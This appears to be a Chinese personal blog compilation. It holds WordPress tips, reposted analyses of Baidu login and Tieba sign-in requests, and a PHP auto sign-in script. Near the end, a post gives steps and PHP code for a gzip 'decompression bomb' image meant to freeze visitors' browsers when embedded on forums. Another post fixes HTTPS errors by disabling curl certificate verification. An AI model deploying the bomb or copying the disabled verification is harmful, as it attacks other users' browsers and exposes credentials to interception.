WordPress 3.5 发布的时候,为了更加简洁易用,WordPress 就把一些不太常用的代码从核心代码中取消或者禁用,比如全新安装的 WordPress 博客在后台就没有链接管理器。但是如果你还是有很多朋友,需要交换链接,怎么办呢?WordPress 提供接口:
> add_filter( ‘pre_option_link_manager_enabled’, ‘__return_true’ );
将上面的代码复制到当前主题的 functions.php 文件即可。

 

都做完了他要求又变了。不过说真的,难怪网上那么多网站那么丑,在他的指导下我把网站改出了07年的风格。

而且把要创新,取消文章的概念。就是首页放5个图集。点进去就是指定的图集,然后完了。我去啊,就做个相册。。。。。。

然后选定了NextGen Gallery,功能比较多,不过还要自己修改主题模版,就是幻灯片的样式不合要求。

文章或者页面里面的放这个shortcode就行了,不过id为1的图集要创建一个

[ngg_images gallery_ids=”1” display_type=”photocrati-nextgen_basic_thumbnails”]

 

注:

官网上的示例代码是这样的

[ ngg_images gallery_ids=”1,3” exclusions=”4,6” display_type=”photocrati-nextgen_basic_thumbnails” ]

但实际上没有用,要把[ ]这个括号里面的空格去掉2个。然后就可以了。

 

 

主题下载:taobaoke2.3free

【转】模拟登陆网站(百度首页)的内部逻辑过程

很少转贴的,转的都是比较有价值的

1、准备好工具并配置好工具

打开IE9,打开百度首页(www.baidu.com),然后按F12,调出F12开发人员工具,再切换到Network界面:

image

在调试之前,先去做一些配置上的准备工作:

(1)设置网页跳转时,已抓取的数据不被清除掉:

image

取消控制台和网络前面的对号,这样在网页分析过程中,由于从一个页面跳转到另外一个页面,所抓取的到内容,就不会被清空掉了。

(2)清除旧的cookie和缓存

为了后续的调试,不被之前的已登陆的账户的(缓存和cookie等)信息所影响,所以去都清除掉:

image

其中,简单解释一下:

A. 2个和清除cookie有关的:

缓存->清除会话 Cookie(S):清除当前会话,即访问当前这么一堆网页所涉及的cookie

缓存->清除域的 Cookie(O):清楚和当前网页所属的domain,此处为和baidu.com相关的cookie

B. 2个和缓存cache(即缓存的网页)有关的:

为了清除的更彻底,也顺带把cache都清理了

2、模拟操作过程,利用工具抓取所需的整个过程

点击“登陆”:

image
可以看到,除了网页中跳出你所熟悉的登陆对话框之外,F12调试窗口中,就已经抓取到很多内容了。

然后输入用户名和密码,正常登陆,就可以看到网页调转到了http://www.baidu.com/index.php,并在对应的F12调试窗口中抓取到了很多内容:

image

好了,到此为止,我们的操作,基本就结束了。剩下的,就是从我们所已经抓取到的信息中,找到是如何登陆的。

3、分析网站登陆的内部逻辑过程

1. 找到登陆网站所涉及的最核心的地址

对于熟悉的人,可以直接从那一堆的url中,找到哪个是登陆的页面。而现在假定你不熟悉,教你如何找到真正的有价值的信息。对于此处,我们可以想到的一种办法是,通过直接搜索密码,而搜到哪里发送了我们的密码:

search-pwd-found-login-url_thumb

【小提示:显示内容时,设置为 自动换行】

当抓取出来的Request Body,Response Body等部分的内容中,单行内容太长,一行显示不下,不方便查看时,可以点击右键,选择Word wrap:

choose-Word-wrap_thumb

即可实现自动换行显示的效果了,方便查看了:

after-word-wrap_thumb

此处,很容易看到,此处和我们密码相关的url地址为https://passport.baidu.com/v2/api/?login,即以后如果想要写代码的话,所要访问的url地址,就是这个地址了。

2. 分析所提交的数据(post data)中的参数和值

此处的Request Body,就是对应的http的POST请求中所要提交的数据,简称为post data。

此处Request Body中完整的数据为:

ppui_logintime=6852&charset=utf-8&codestring=&token=5ab690978812b0e7fbbe1bfc267b90b3&isPhone=false&index=0&u=&safeflg=0&staticpage=http%3A%2F%2Fwww.baidu.com%2Fcache%2Fuser%2Fhtml%2Fjump.html&loginType=1&tpl=mn&callback=parent.bdPass.api.login._postCallback&username=crifan&password=xxxxxx&verifycode=&mem_pass=on


处理后变为:

ppui_logintime=6852
charset=utf-8
codestring=
token=5ab690978812b0e7fbbe1bfc267b90b3
isPhone=false
index=0
u=
safeflg=0
staticpage=http%3A%2F%2Fwww.baidu.com%2Fcache%2Fuser%2Fhtml%2Fjump.html
loginType=1
tpl=mn
callback=parent.bdPass.api.login._postCallback
username=crifan
password=xxxxxx
verifycode=
mem_pass=on


很明显,此处就是模拟网站登录的核心数据了,是在写代码时,对于url=https://passport.baidu.com/v2/api/?login提交POST请求时,所有要发送的一些参数和值了。


此处,再重新简要的介绍一下,模拟登陆网站的基本逻辑:

想要模拟网站登陆,就要知道,要向什么url地址,发送什么样的数据,GET请求还是POST请求。

● GET请求只从服务器请求数据,不需要所谓的post data,但是往往需要在url后面添加上对应的?para1=val1&para2=value2之类的形式,此部分叫做query parameter,其本质上,有点类似于post data
● POST请求,在发送请求时,还需要提供对应的post data,此处即对应着IE9的F12中的Request Body。而余下的,发送请求时的其他相关参数设置,主要就是设置很多基本的参数,包括user-agent等,此处对应着那个Request Headers

而提交请求后,网站的服务器会给你反馈,返回数据和信息给你。此处对应的就是Response Headers和Response Body。

经常地,其中还涉及到cookie等信息。在发送之前,准备好,发送给服务器,服务器返回的信息中,往往也包含,更新后,cookie的值。

接下来,就是分析,如何获得所需的信息。


先分析上述的post data中的值都是怎么来的。分析值是如何来的,以及顺带说说,写代码时,如何设置这些值。

在此之前,先解释一下,在代码中关于如何设置这些参数的值的规律和经验:

(1)对于有参数,但是值为空的哪些参数,一般来说,都是可以省略的。即写代码时,是可以去掉,忽略掉,这些参数的。当然,如果你抓取出来的参数是有值的,则需要考虑其值是怎么得到的,是否有意义,否则随便忽略掉某些参数,可能会导致模拟登陆失败的。

(2)对于看不太懂的参数的值的情况下,不妨先使用抓取出来的数据。尤其是一些参数,看不太懂,而且其值又明显不是那种,很可能会变化的数字之类的值,则一般情况下,也都是固定的值,所以,即使对于参数和值本身不太了解,也无所谓,也都可以直接在代码中,直接使用抓取出来的数据即可。即使会导致出错,一般来说,也可以通过后续的多次抓取和分析,看出来该值真正的规律。

在上面那一堆参数和值中:

(1)一些很明显,是固定的值,不需要考虑太多的值有:

charset=utf-8 -> 表示当前网页的编码是utf-8,我们写代码照着写即可,不需要改;
codestring= -> 此处为空,所以也可以不理会;
isPhone=false -> 很明显,此处是通过PC登陆百度的,不是通过手机类的移动设备登陆的,所以是false。所以写代码时,也设置为false即可;

细心的读者,也很容易回想起,此处是对应着之前的登陆界面中的“手机登陆”:

phone-login_thumb

如果是我们是通过“手机登陆”百度时,不出意外的话,肯定参数是isPhone=true

index=0 -> 未知,但是也没看出来是什么含义,所以也直接设置为0即可;
u=-> 空值,同样设置空值即可;
safeflg=0 -> 未知,所以也可以暂且不管,同样设置为0即可。
username=crifan -> 很明显,是我们的账号,不多解释;
password=xxxxxx -> 同理,是对应的密码;
verifycode= ->此处为空,所以也可以不管;
mem_pass=on -> 很明显,是memory password的所写,即记住密码,对应的页面是,我们已经勾选的”记住我的登陆状态”:

remember-my-login-status_thumb

(2)另外一些就是不太容易一眼就看出来的值,需要简单解释一下的:

staticpage=http%3A%2F%2Fwww.baidu.com%2Fcache%2Fuser%2Fhtml%2Fjump.html –>http://www.baidu.com/cache/user/html/jump.html
loginType=1 -> 未知,但是一般不知道的值,都可以先按照原先的值去设置即可;
tpl=mn -> 未知,也还是同样设置即可;
callback=parent.bdPass.api.login._postCallback -> 未知,也同样设置即可;

(3)再剩下的,就是需要去分析调查,才知道为何是这样值的了:

ppui_logintime=6852

此值6852,看起来就像是会变化的。但是到底如何得到的,则需要去分析分析了。

所以就去搜索6852,经过搜索,发现结果只能搜到此单独一处的6852,貌似没办法找到此数据如何得到的。再搜其参数ppui_logintime,然后另外在别的文件中也可以找到2处,其中一处是:

search-ppui_logintime_thumb

很明显,此处是javascript脚本https://passport.baidu.com/js/pass_api_login.js?v=20121018在其中根据实际情况计算出来的。


【小提示:对于参数的处理策略】

对于涉及的很多参数,总的说,有两种策略:

一是,直接忽略此值,暂时不管。因为很多时候,有些参数,至少是这样看起来,不是那么重要的参数(重要的参数,相信我不说你自己也能看出来,是那些username,password之类的参数)。然后就去写程序去模拟了。而真的等到程序运行出错,服务器没有返回你所期望的信息的时候,再回来分析此参数,看看是不是这个参数所导致的。然后再试图去分析其真正的值;

二是,继续分析,甚至调试javascript代码,以便找到此值到底是如何一点点计算出来的。此过程可能会极其繁琐,也可能相对简单。要取决于此值被计算出来所经历的过程的复杂度。

此处,在表面看起来,这个参数ppui_logintime,大概意思是登陆的时间,所以推测是服务器为了记录你本地登陆百度的时间,和能否登陆百度这个过程本身,应该不会产生根本的影响,所以此处就可以采用策略一,暂时忽略不管。万一真的有影响,再回来继续分析也不迟。


token=5ab690978812b0e7fbbe1bfc267b90b3

此值5ab690978812b0e7fbbe1bfc267b90b3,很明显,是需要从别的地方找到的。所以就去分析此值是如何来的。

同理,继续去搜5ab690978812b0e7fbbe1bfc267b90b3,然后是可以搜到的,然后通过点击搜索框中的向前和向后的按钮,是可以找到这个2/68 条记录,对应url:https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true 的这处的:

2-of-68-found-this-token_thumb

对于上述所搜到的内容,很明显可以看出,就是我们在通过网页登陆百度首页过程中,通过IE9的F12抓取出来的记录知道了,其内部还是会先去访问:https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true,然后会获得Response Body,即(服务器所返回的)html源码,其中包括了:

bdPass.api.params.login_token=``'5ab690978812b0e7fbbe1bfc267b90b3'``;
此时,你应该就明白了,到时候我们去写代码时,想要获得上述token的值的话,就需要先去对url=https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true发送GET请求,获得对应的html代码,然后从中分析出token的值5ab690978812b0e7fbbe1bfc267b90b3;

而写到此,基本逻辑过程,也相对清楚了。

但是有人很快会想到,即使上述代码写出来了,又如何能确保的确已经模拟登陆成功了,即如何验证此处模拟登陆百度首页成功了呢?

此处,根据经验,主要通过两方面来验证:

一是返回的html代码,即对应着F12中的Response Body。
二是cookie,如果你成功登陆了服务器,那么其所返回的值中中,对于cookie,一般都是会有对应的,和成功登陆有关的新的cookie返回给你的,以及另外更新一些原先发送的一些cookie的值。

after-clear-cookie-login-ok-receive-cookies_thumb

此处,需要特别提示一句,如果你在最开始没有去清除cookie,则很可能看到的cookie结果是这样的:

resp-cookie-when-login-ok_thumb

即,登陆前后的cookie,都有BDUSS,PTOKEN,STOKEN,SAVEUSERID。

这是因为,之前通过别的账号,以及同样的账号登陆过,所以IE9已经在本地记录了相关的cookie。所以,在访问该url时,能看到Sent中已经存在了类似的cookie。

总的来说,可以通过返回的html和cookie,来验证是否登录成功了。

而一般来说,通过验证cookie,是最有效的。因为很多时候,某些网站登陆成功和登陆失败,所显示的页面可能是同一个。但是登陆成功的话,基本都会有对应的,新的,和登陆有关的cookie,返回的。


一般来说,实际上,对于很多不是很复杂的网站,到这一步,就完全就够了,就能够成功模拟登陆了。

但是,后来经过代码的证实,如上的流程,实际上是行不通的,因为对于去访问:https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true,实际上,返回的html是:

var bdPass=bdPass||{};
bdPass.api=bdPass.api||{};
bdPass.api.params=bdPass.api.params||{};
bdPass.api.params.login_token=’the fisrt two args should be string type:0,1!’;
bdPass.api.params.login_tpl=’mn’;
document.write(‘<script type=”text/javascript” charset=”UTF-8” src=”https://passport.baidu.com/js/v2ApiUsedTangramFunctions.js?v=20121018"></script&gt;’);
document.write(‘<script type=”text/javascript” charset=”UTF-8” src=”https://passport.baidu.com/js/pass_api_login.js?v=20121018"></script&gt;’);


其中的:bdPass.api.params.login_token=’the fisrt two args should be string type:0,1!’;是无法正确获得我们所需要耳朵token的值的。

所以,接下来,就是继续去想办法,找到此处没有正确获得返回的html的原因。

不过,首先要知道的,无论何时,从抓取出来的数据来看,只要你程序是完整模拟了整个浏览器所发送的所有的数据,此处即IE9所发送的request headers和post data(Request body),那么,程序所获得的返回值,就应该也和所抓取到的数据一样,即应该就可以从返回的html(response body)中获得所需的token的值了。

而此处之所有没有获得,对照上述所抓取的数据去看,则很可能是,request headers中某些值,比如cookie值,referer等值,没有赋值正确,导致返回的html不对。

所以,接下来,就是想办法,尝试一点点,完全找到上那些cookie的值,referer等的值,都是从哪里来的。

好的,现在接着就以其中一个最复杂的cookie:SAVEUSERID,来说明,到底是如何分析出来的,找到最开始的SAVEUSERID是从哪里来的。所能想到的,就是先去搜索SAVEUSERID。并且,是利用从最开始的地方,往后去搜索:

from-start-to-search_thumb

然后搜出来,第一个出现的位置是:

first-occurence_thumb

可以看到,当前的url地址是 16/80,即一共抓取到了80条记录,现在这个是第16个。

这意味着,在此之前15条记录中,都没有出现SAVEUSERID,而第一次出现此SAVEUSERID,是在第16条记录,url地址为:

https://passport.baidu.com/img/v2/small_blank.gif

切换到summary view,更加容易看清整个抓取的记录的情况:

summary-view-first-occurence_thumb

但是,此处,没有出现我们所期待的,是访问某个url,然后返回的cooki中,包括了此SAVEUSERID。


【小提示:cookie的生成和出现的时机】

所谓cookie,一般都是访问服务器,然后服务器返回的cookie。然后之后才是访问其他的,后续的地址时,sent这些cookie,然后后续访问的地址所返回的信息中,可能会再次更新值/删除本地的,旧的cookie,以及也可能返回新的,增加新的本地的cookie。

甚至是第一次出现此cookie,是代码本身,比如javascript中通过代码生成的cookie。

但是无论如何,一般第一次出现一个cookie,最常见的都是服务器返回的cookie。其实少数可能是由期间运行到的javascript代码所生成的。

所以,接下来,还要想办法,找到此cookie,SAVEUSERID,第一次出现是在什么时候。

对此,需要用到我之前自己折腾的时候所学到的经验。

是去查看本地缓存文件和cookie中,看看是否有之前所保存的cookie。

因为,之前通过IE9的F12所执行的删除cookie时,其虽然的确删除了“当前domain”的cookie,但是对于非当前domain的cookie,并没有删除掉。即,本来是通过点击Cache->Clear session cookies Cache->Clear cookies for domain打算删除掉关于百度的所有的cookie的,结果,实际上,此时只去删除了当前domian=www.baidu.com所相关的cookie,而对于passport.baidu.com,由于和www.baidu.com不是同一个domain,所以,本地那些passport.baidu.com相关的cookie,还是存在的,所以通过自己手动找到电脑中放cookie和缓存的地方,还是可以找到 Cookie:cli@passport.baidu.com/ 的:

temp-internet-files-cookies-for-passport-baidu_thumb

这里,才是真正SAVEUSERID所在的位置,而为何之前找不到SAVEUSERID第一次出现的位置,是因为此处本地域名(domain)为passport.baidu.com所对应的cookie中包含了SAVEUSERID,没有被删除掉,所以,上述IE9的F12抓取到的第一次出现的SAVEUSERID的时候,就已经有了值,且在访问地址https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true 时使用了。

此时,知道原因了,那就可以再去去完整清除所有的cookie和cache了。


重新登录后再去重新搜索想要分析的SAVEUSERID,然后搜索出来的第一个是:

search-SAVEUSERID-found-first-is-3-of-67_thumb

很明显,其就是我们所期望的了,因为其中的SAVEUSERID是通过Set-Cookie所获得的,是访问服务器的某个地址(https://passport.baidu.com/v2/api/?login),然后服务器所返回的cookie值。

如此,我们才能有机会,去写代码,去模拟访问此路径,获得此cookie,然后有后续的可能,利用此cookie,访问后续其他地址,最后完整模拟登陆网站的全部过程的。

而相应的,访问https://passport.baidu.com/v2/api/?login之前,需要用到BAIDUID。所以又用同样的分析方法,去找到BAIDUID这个cookie的最开始的来源(又重新打开浏览器,重新分析了一次):

find-first-BAIDUID_thumb

因此,即为:

先访问http://www.baidu.com/去获得对应的BAIDUID
接着去访问https://passport.baidu.com/v2/api/?login,其中发送的数据中,包括BAIDUID,返回数据中,得到SAVEUSERID。

而此时,其实访问https://passport.baidu.com/v2/api/?login本身就是我们所追求的目标,模拟登陆百度。

所以后续的SAVEUSERID,其实此处是可以不用,只是去通过校验cookie,而验证登陆是否成功时,会涉及到而已。


然后再去回头看之前所说的:https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true

再次重现抓取所看到的结果为:

access-getapi-url-require-BAIDUID_thumb

就容易看懂了,即需要在访问:https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true时,提供BAIDUID这个cookie。

另外,再确认一下,访问:https://passport.baidu.com/v2/api/?login正确登陆时,所返回的cookie:

login-ok-returned-cookies_thumb

可见,其中至少包括:BDUSS,PTOKEN,STOKEN,SAVEUSERID(其中,对于原先域名为baidu.com的PTOKEN,是被删除掉的,此处暂可忽略)

3、总结模拟登陆网站的基本流程

至此,对于想要模拟登陆百度首页:http://www.baidu.com/的内部逻辑过程,基本上就很清楚了:

顺序

访问地址

访问类型

发送的数据

需要获得/提取的返回的值

1

http://www.baidu.com/

GET

返回的cookie中的BAIDUID

2

https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=true

GET

包含BAIDUID这个cookie

从返回的html中提取出token的值

3

https://passport.baidu.com/v2/api/?login

POST

一堆的post data,其中token的值是之前提取出来的

需要验证返回的cookie中,是否包含BDUSS,PTOKEN,STOKEN,SAVEUSERID



对于上述流程,按理来说,去使用代码,Python或C#等,去实现出来,即可。

不过,关于模拟登陆时所需要的数据,多解释一下。

按理来说,完整的模拟网站登陆的话,其实应该是从头到尾的,分析出浏览器(IE9)本身是如何访问网站的,然后把所有的逻辑搞懂,数据的来源都分析清楚,即如上述过程,对于访问https://passport.baidu.com/v2/api/?login所需要的那么一堆参数,都去搞懂具体的含义,以及参数的值,是怎么获得的。而实际上,很多时候,模拟网站登陆,或者是抓取网页信息的时候,只需要最关心的那些核心参数即可。因为,服务器,很可能,只是去判断那些核心参数,比如上述的username,password,及其他几个参数,然后就可以正确返回你所需要的信息,即html,cookie等,就可以成功实现模拟登陆的目的了。但是,话说回来,具体需要哪些,最基本的参数,还是需要通过写程序,去一点点测试出来的。而之所以给大家介绍上述的概念,目的是为了,在你觉得自己能看懂参数的大概含义的时候,很多时候,能看出该参数不要也无所谓的时候,那就可以先去测试基本的数,而暂时忽略其他相对次要的参数。由此,在一定程度上,提高做事情的效率而已。当然,在忽略参数的时候,也要注意,不要轻易忽略很多参数,否则也是很可能影响到程序模拟登陆的正确性的。具体的尺度的把握,就一点:根据情况而定,自己看着办。

【总结】

至此,关于模拟登陆网站,如何一步步的分析出内部逻辑过程,就完成了。

总结下来就是,先去用工具“录制”你所有的操作,然后再去利用工具去分析和登陆有关那些url的相关的信息,主要是post data有哪些参数,以及其值是如何获得的。

【转】百度签到的分析

前面一个是分析工具的使用。

由于签到器利用的是模拟浏览器发送http请求,所以第一步肯定是去了解一下每个步骤都要提交什么参数,用的是post还是get方法,返回给用户的又是什么内容。

这里我用的是FireFox + HTTP Header,这个插件可以很轻易地截取浏览器的数据包。

第一步研究登录百度ID的过程。百度2.0标准的登录网址是:https://passport.baidu.com/v2/?login ,在这个网页里面提交用户名和密码,就能够进行登录了。

打开HTTP Header插件,然后进行登录,再返回来看下截获到的数据包。

1

这里登录用的是post方法,上面红色框里面的内容就是我们要提交的数据,看起来还是挺多的= =

在百度上各种乱搜,总算找到了其中必要的参数:

1

2

3

4

5

6

7

8

9

10

username=

password=

token=

mem_pass=on

safeflg=0

tpl=mn

charset=utf-8

index=0

isPhone=false

loginType=1







下面几项基本上是固定了的,具体是什么意思就不解释了。重点是上面的三个,username、password和token值。username和password很好理解,就是你的用户名和密码。至于token值,是一个随机值,每次登录使用的token都不一样。那么我们从哪里去获取这个值呢?

token其实主要跟你电脑里面cookies有关。每次访问百度的页面时,百度都会在你的PC里存一个cookies,然后这个token值与cookies是相关的。其实百度也提供了一个接口供我们去读取这个值:

https://passport.baidu.com/v2/api/?getapi&class=login&tpl=mn&tangram=false

这里返回的是这样一组数据:

1

2

3

4

5

6

var bdPass=bdPass||{};

bdPass.api=bdPass.api||{};

bdPass.api.params=bdPass.api.params||{};

bdPass.api.params.login_token=’fc05aa638b54417093435fcd9b3aeac7’;

bdPass.api.params.login_tpl=’mn’;

document.write(‘’);







可以看到token值就在其中。这时你可以尝试把你浏览器的cookies清空,然后再次去访问这个网址,就会获得另外一个token值,具体的关系就不研究了。取出token值得方法有很多,我在程序中运用的是正则表达式,毕竟这么短的文本还是很容易去匹配的。

登录的参数我们解决了,那么这个包发出去之后,百度会给我们回复什么呢?

我们所用的插件貌似只给我们返回了一个跳转链接:

/v3Jump.html?err_no=4&callback=parent.bdpcbskvi1nt&

needToModifyPassword=0&codeString=&userName=&phoneNumber=&

mail=&hao123Param=&u=https://passport.baidu.com/&secState=&amp;

gotourl=
这里我们借用python的urllib.request.read(),把返回的具体内容读出来。(部分敏感信息被我用*替换了。。)

1

2

3

4

5

6

7

8

9

10

11

12

13

<!DOCTYPE html>

<html>

<head>

<meta http-equiv=”Content-Type” content=”text/html; charset=UTF-8”>

</head>

<body>

<script type=”text/javascript”>

//parent.callback(url)

window.location.replace(url);

</script>

</body>

</html>







这个页面实现的是url跳转,而登录成功的标志就在于那个url里面的error这个参数。如果返回是0,那么就是登录成功;如果是其他数值就是没成功,具体参数意义我也不太清楚。。所以在程序里面我们只要抓取error的值就知道登录十分成功了。可以采用正则表达式,也可以用python里面的urllib.parse.urlparse模块分析url。

登录这一步解决了,接下来就是签到这一块。首先来模拟一下签到的方式。(以dota2吧为例子)

2

这里的参数就简单多了:

1

2

3

ie=utf-8

kw=dota2

tbs=47f4f89a9b1162a41365014007







ie这个参数应该是编码的意思,然后kw就是贴吧名字,tbs字面上理解应该是贴吧的session id,跟贴吧有关。虽然它是个变值,每次都不一样,不过可以多次使用,重点是可以直接从该贴吧的源码里面找出来。

3

这里获取tbs的方法就不多说了,跟上面的差不多。

主要来看一下签到返回的数据。贴吧签到返回的内容是json格式(一种类似XML的格式),读起来非常简单,而且python也有json库可以调用。先来看一下成功签到返回的内容:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

{

“no”:0,

“error”:””,

“data”:{

“uinfo”:

{

“is_sign_in”:1,

“user_sign_rank”:79,

“sign_time”:1364794633,

“cont_sign_num”:1,

“cout_total_sing_num”:1

},

“finfo”:{

“forum_info”:

{

“forum_id”:975822,

“forum_name”:””,

“level_1_dir_name”:”\u53f0\u6e7e\u7535\u89c6\u5267”

},

“current_rank_info”:{

“sign_count”:79

},

“level_1_dir_name”:”\u7535\u89c6\u5267”,

“level_2_dir_name”:”\u53f0\u6e7e\u7535\u89c6\u5267”

},

“sign_version”:1}

}







最主要的是no这个参数,如果是0则签到成功,其他代码就是不成功。然后是data.uinfo的内容,is_sign_in:今天是否签到,user_sign_rank:用户签到排名,sign_time:签到时间(这是UNIX标准时间,需要转换),cont_sign_num:连续签到天数,cout_total_sing_num:本月签到天数。其它根据字面意思都挺好理解的。由于这里用的是unicode编码,所以其中的中文需要转码才能正常显示。

接下来是签到失败的其中一种返回内容:

1

2

3

4

5

{

“no”:1012,

“error”:”\u670d\u52a1\u5668\u6253\u778c\u7761\u4e86\uff0c\u518d\u7b7e\u4e00\u6b21\u6572\u9192\u5b83”,

“data”:””

}







显然这里no是错误代码,至于error里面的内容就是告诉你失败的原因,比如说:签到速度太快,今天已经签到等。

最后来说一下如何去获取用户的“我喜欢的贴吧”列表。我们平时可以从“我的i贴吧”这个页面去获取我喜欢的贴吧列表,其实它们都是以json的格式放在这个页面的代码里面。

4

这里一堆数据看似杂乱无章,但是只要稍微Tab几下,就会看出来这是每个贴吧的详细信息。这里我把其中一两个贴出来:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

{

‘is_manager’: False,

‘id’: 0,

‘favo_type’: ‘favo’,

‘url’: ‘/f?kw=dota2’,

‘feed_item_balv’:

{

‘is_sign’: 1,

‘is_black’: 0,

‘forum_name’: ‘dota2’,

‘score_left’: 26,

‘level_name’: ‘放码过来’,

‘user_id’: 19557521,

‘is_like’: 1,

‘level_id’: 7,

‘cur_score’: 474,

‘forum_id’: 1627732

},

‘new_feeds_num’: 0,

‘name’: ‘dota2’,

‘isCustomer’: 0

},

{

‘is_manager’: False,

‘id’: 0,

‘favo_type’: ‘favo’,

‘url’: ‘/f?kw=%CD%F5%D0%C4%C1%E8’,

‘feed_item_balv’:

{

‘is_sign’: 1,

‘is_black’: 0,

‘forum_name’: ‘王心凌’,

‘score_left’: 11,

‘level_name’: ‘凌宝贝’,

‘user_id’: 19557521,

‘is_like’: 1,

‘level_id’: 4,

‘cur_score’: 39,

‘forum_id’: 28931

},

‘new_feeds_num’: 0,

‘name’: ‘王心凌’,

‘isCustomer’: 0

},







每一个子块里面的name就是贴吧的名字了,这里面还有很多有用的信息,大家就多多挖掘吧~

基本上要获取的信息就是这些了,今天就先写到这,是时候去碎觉了~

做百度贴吧签到遇到malformed的问题

花了我一天时间啊,到处去问也没有一个回答的。

开始是post username 和password不成功,一直返回的false。

var_dump(curl_error($ch));看到错误是 malformed,也就是错误的数据嘛。我百度了很久,

我以为是编码的问题,先后使用了 urlencode(),http_build_query($data),等

urlencode 是把中文编码一下再发送,这个基本都有吧。

http_build_query()这个是将一个array 连成一个字符串,curl 使用curl_setopt_array()设置参数的时候是传递一个array进去的,但是,我们post数据的时候,如果是array post过去的话,会变成multipart/form-data,如果传进去的是字符串header 就是Content-Type: application/x-www-form-urlencoded,所以将data处理一下很有必要。我以为就这样解决了,但是。。。

继续看,想了很久,也没看出什么问题来,然后使用http://的就能成功,使用https的就出错,就是这个问题了。

curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0); // 对认证证书来源的检查
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0); // 从证书中检查SSL加密算法是否存在

这样设置一下就能对https进行get和post了。

过程实在是无比艰辛,知道的太少了,o(︶︿︶)o 唉。。

快盘自动签到

抓包过程不讲了,直接贴代码。github上有个类似代码,直接借鉴一下

mycurl就是curl,自己实现一下get和post就行。这个做完了会把代码分享出来。

下一步是做贴吧自动签到

QQ20130529004631
`
<?php
/**

  • 快盘签到
  • @author 双人份 <fjjwlzd@163.com>
    */
    require_once “MyCurl.php”;`

class KuaiPan
{

protected $curl;
//用户名和密码
protected $username;
protected $password;
//登录 URL
private $loginUrl = ‘http://www.kuaipan.cn/home.htm‘;
private $postUrl = ‘https://www.kuaipan.cn/index.php?ac=account&op=login‘;

//签到 URL
private $signUrl = ‘http://www.kuaipan.cn/index.php?ac=common&op=usersign‘;

//空间信息
private $spaceUrl = ‘http://www.kuaipan.cn/index.php?ac=home&op=space‘;

//用户信息
private $userInfoUrl = ‘http://www.kuaipan.cn/index.php?ac=home&op=userinfo‘;

/**

  • 初始化配置信息
  • @param string $username
  • @param string $password
  • @return void
    */
    public function init($username, $password)
    {
    $this->username = $username;
    $this->password = $password;
    $this->curl = new MyCurl();
    }

/**

  • 登入
    */
    public function login()
    {
    $this->curl->get($this->loginUrl);//获取 cookie
    $data = array(
    ‘username’=>$this->username,
    ‘userpwd’=>$this->password,
    ‘isajax’=>’yes’,
    ‘rememberme’=>1
    );

$loginResp = $this->curl->post($this->postUrl, $data);
$loginResp = json_decode($loginResp);

echo “<pre>”;
var_dump(json_decode($this->curl->get($this->userInfoUrl)));
var_dump(json_decode($this->curl->get($this->spaceUrl)));

var_dump($loginResp);
echo “</pre>”;
}
/**

  • 签到方法
    */
    public function sign()
    {
    $signResp = $this->curl->get($this->signUrl);
    $signResp = json_decode($signResp);
    $state = null;
    if(isset($signResp->state))
    $state = $signResp->state;
    switch ($state)
    {
    case ‘-102’:
    echo ‘已经签过了!’;
    break;
    case ‘1’:
    echo ‘签到成功! 获得空间:’.$signResp->rewardsize.’M’;
    break;
    default:
    break;
    }
    }
    }
    ?>

思路太好了,一张图片让所有浏览器未响应

一张图片让所有浏览器未响应



79086246020121126

你可能要问,一张图片怎么可能会导致整个浏览器无法响应呢,如果你不相信就自己来这个链接试一试吧,整个页面中真的只有一张图片哦。相信你在试过之后的确是发现了浏览器要么就是无法响应,或者是整个系统都卡住了,计算机性能好的可能会出现卡顿的情况,这个到底是为什么呢,今天我们就来讲解一下怎样利用 Gzip 创建一张冗大的 1G 的图片让浏览器未响应吧。

 

首先补充一下知识:Gzip 是一种在网站当中常用的一种技术,他可以将网页压缩到只有原来的百分之 70% 左右。如果一个字符串“10000000000”使用压缩技术压缩之后,他就会变为“1+100”这样,这样字符串的长度和大小就变短了。那么,如果一个 1G 左右的图片被压缩了之后,只有 2M 多,然后发送到客户端之后再解压,客户端无法承受那么大的文件,自然就未响应了。

这个其实已经不是新鲜的东西,要让浏览器无法响应还是要几个要求的:1.图片够大、2.传送的速度够快。就像我提供的链接,因为传送的速度不是很快,所以要很久才会出现未响应的状况。

58357946720121126

我们先挑选一张不是很大 普通图片。

128816471120121126

 

使用 16 进制编辑器不断在文件末尾添加 0,让他变成具有很多 0 字符的冗长的一张 1G 的图片。

89868126020121126

因为文件中大部分的字符串全部都是 0,所以压缩之后冗长的 0 被压缩到只有 2M 的大小。现在我们只要将这个 Gzip 文件以极快的速度发送到浏览器并且解压,浏览器就会未响应了。

 


 











<?php

header(“Content-Encoding: gzip”);

echo file_get_contents(“img.png.gz”);

?>




 

仅仅是有压缩文件是不行的,我们还需要一个文件来告诉浏览器这个是一个压缩文件,你需要解压,一般主流的浏览器都是支持 Gzip 压缩的了,在上面的代码中,我们告诉浏览器这个是经过 Gzip 压缩的,然后加载并输出制作的压缩文件。在这里,主机输出的数据流只有压缩包的 2M,但是到了客户端浏览器,数据被解压之后就到达了 1.63G 的大小。

最后我们只需要用 img 标签在论坛或者是其他页面中插入这个页面就可以了,图片仍然是可以正常显示的,但是当数据全部加载完成,或者是数据加载超出 CPU 的负载之后,浏览器便出现了未响应的状态。

这个其实没有什么实际的用处,*也请你不要去做不应该做的事情
,要构成浏览器未响应的要求首先就是文件传送的速度够快,如果你的主机要半天才能够加载这张图片,那么浏览器也要半天才能未响应了。

点击此处进入测试页面

一键评教

哎,前面的文章已经出卖我是哪里的了,这里也就无所谓了。

油猴脚本,实现的一键评教。

http://userscripts.org/scripts/review/168166

 

